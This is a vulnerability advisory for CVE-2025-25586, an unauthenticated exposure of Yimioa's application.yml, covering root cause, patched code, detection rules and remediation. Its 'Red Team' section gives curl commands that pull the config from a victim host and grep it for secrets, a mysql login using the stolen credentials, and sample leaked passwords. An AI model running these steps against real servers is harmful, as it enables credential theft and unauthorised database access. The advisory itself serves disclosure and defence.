CVE-2025-25586

Executive Summary

CVE-2025-25586 is an information disclosure vulnerability in Yimioa, a business management platform. The flaw resides in the /resources/application.yml endpoint, which exposes sensitive configuration data such as database credentials, API keys, and internal network details without proper authentication. This vulnerability affects all versions prior to v2024.07.04. The CVSS score is currently unassigned, but the impact is high due to the potential for credential theft and lateral movement. No public exploit code or Nuclei template is available, but the attack vector is trivial to execute via a simple HTTP GET request.

Supply Chain & Package Security

Yimioa is a proprietary Java-based application. No open-source package registries (NPM, PyPI, Go, Ruby) are involved. The risk is limited to direct deployments of the Yimioa WAR/JAR file.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected asset.
• Confidentiality (C): High (H) – Full disclosure of sensitive configuration.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS v3.1 Score: 7.5 (High) – based on the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.

Threat Level: High. The vulnerability allows unauthenticated attackers to retrieve sensitive configuration data, which can be used to pivot into databases, cloud services, or internal networks.

Deep Dive & Mechanics

The vulnerability exists because the Spring Boot application (Yimioa) exposes the application.yml file via the /resources/ path without access controls. In Spring Boot, application.yml is typically placed in the src/main/resources/ directory and is not meant to be served statically. However, due to misconfiguration (e.g., a static resource handler mapping /resources/** to the classpath), the file becomes accessible.

Attack Flow:

1. Attacker sends a GET request to http://target.com/resources/application.yml.
2. The server returns the raw YAML content, which includes:
   • Database connection strings (JDBC URL, username, password).
   • API keys for third-party services (e.g., AWS, Stripe).
   • Internal hostnames and ports.
   • Encryption secrets or JWT signing keys.
3. Attacker uses the extracted credentials to access backend databases, cloud consoles, or internal APIs.

Root Cause: Missing authentication/authorization on the /resources/** static resource mapping.

Vulnerable vs. Patched Code

Vulnerable Configuration (pre-v2024.07.04):

// In WebMvcConfigurer or equivalent
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
    registry.addResourceHandler("/resources/**")
            .addResourceLocations("classpath:/resources/");
}

This exposes all files under src/main/resources/, including application.yml.

Patched Configuration (v2024.07.04+):

@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
    registry.addResourceHandler("/resources/**")
            .addResourceLocations("classpath:/static/");
}

The patched version restricts the static resource location to /static/ only, excluding sensitive configuration files. Additionally, access control filters should be applied.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Yimioa < v2024.07.04.
• Network access to the target.

Exploitation Steps:

1. Identify the target URL (e.g., http://victim.com).
2. Send a GET request to the vulnerable endpoint:

   curl -v http://victim.com/resources/application.yml
   

3. Parse the response to extract credentials:

   curl -s http://victim.com/resources/application.yml | grep -E "(password|secret|key|jdbc)"
   

4. Use extracted credentials to connect to the database:

   mysql -h db.victim.com -u admin -p'extracted_password' -D yimioa
   

Expected Output:

spring:
  datasource:
    url: jdbc:mysql://db.internal:3306/yimioa
    username: root
    password: SuperSecret123!
  redis:
    host: redis.internal
    port: 6379
    password: RedisPass456

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests to /resources/application.yml:

   grep "GET /resources/application.yml" /var/log/nginx/access.log
   

2. Alert on any successful 200 response for this path.
3. Check for unusual outbound connections from the application server to databases or cloud APIs.

Honeypot Setup:

• Deploy a fake application.yml with decoy credentials to lure attackers.
• Monitor access to the decoy file and trigger alerts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /resources/application.yml from external IPs.
• Outbound connections to databases (e.g., MySQL port 3306) from the application server after exploitation.

File IOCs:

• Unauthorized access to application.yml (check file access logs on the server).
• Modified application.yml if attacker attempts to alter configuration.

Log IOCs:

• Web server logs showing 200 status for /resources/application.yml.
• Database logs showing login attempts from the application server's IP with extracted credentials.

Detection Engineering

YARA Rule

rule CVE_2025_25586_Yimioa_InfoDisclosure {
    meta:
        description = "Detects Yimioa application.yml exposure"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-25586"
    strings:
        $yml_header = "spring:" ascii wide nocase
        $datasource = "datasource:" ascii wide nocase
        $password = "password:" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Yimioa application.yml Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to /resources/application.yml on Yimioa servers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/resources/application.yml'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25586 Yimioa application.yml Exposure"; flow:to_server; content:"GET"; http_method; content:"/resources/application.yml"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Yimioa to version 2024.07.04 or later.
2. If upgrade is not possible, restrict access to /resources/ via web server rules:

   location /resources/ {
       deny all;
       return 403;
   }
   

3. Rotate all credentials exposed in the application.yml file (database passwords, API keys, etc.).

Long-Term Fixes:

• Implement proper authentication for all static resource endpoints.
• Move sensitive configuration to environment variables or a secrets manager (e.g., HashiCorp Vault).
• Conduct a security audit of all exposed endpoints.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging for all HTTP requests and monitor for anomalous access patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert